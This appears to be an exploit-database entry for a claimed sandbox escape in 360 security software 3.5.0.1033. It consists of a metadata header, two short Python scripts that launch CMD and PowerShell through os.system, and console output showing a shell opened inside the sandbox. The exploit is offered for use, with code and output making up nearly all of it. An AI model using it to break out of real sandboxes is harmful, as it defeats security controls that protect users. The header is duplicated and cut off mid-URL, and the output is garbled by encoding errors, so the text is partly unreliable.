360 3.5.0.1033 Sandbox Escape

# Exploit Title: 360 3.5.0.1033 - Sandbox Escape
# Date: 2018-10-08
# Exploit Author: vr_system
# Vendor Homepage: https://www.360.cn/
# Software Link: https://dl.360safe.com/360/i # Exploit Title: 360 3.5.0.1033 - Sandbox Escape
# Date: 2018-10-08
# Exploit Author: vr_system
# Vendor Homepage: https://www.360.cn/
# Software Link: https://dl.360safe.com/360/inst.exe
# Version: 3.5.0.1033
# Tested on: 3.5.0.1033
# CVE : None

# 1aCMD_test.py
import os
os.system("CMD")

# 2aPowerShell_test.py
import os
os.system("PowerShell")

# 3a
# Running CMD_test.py in sandboxi1/4
Microsoft Windows [cae! 10.0.17134.254]
(c) 2018 Microsoft Corporationaa?caeaeaea(c)a

C:Python27>

# Running PowerShell_test.py in sandboxi1/4
Windows PowerShell
caeaeae (C) Microsoft Corporationaa?caeaeaea(c)a

PS C:Python27>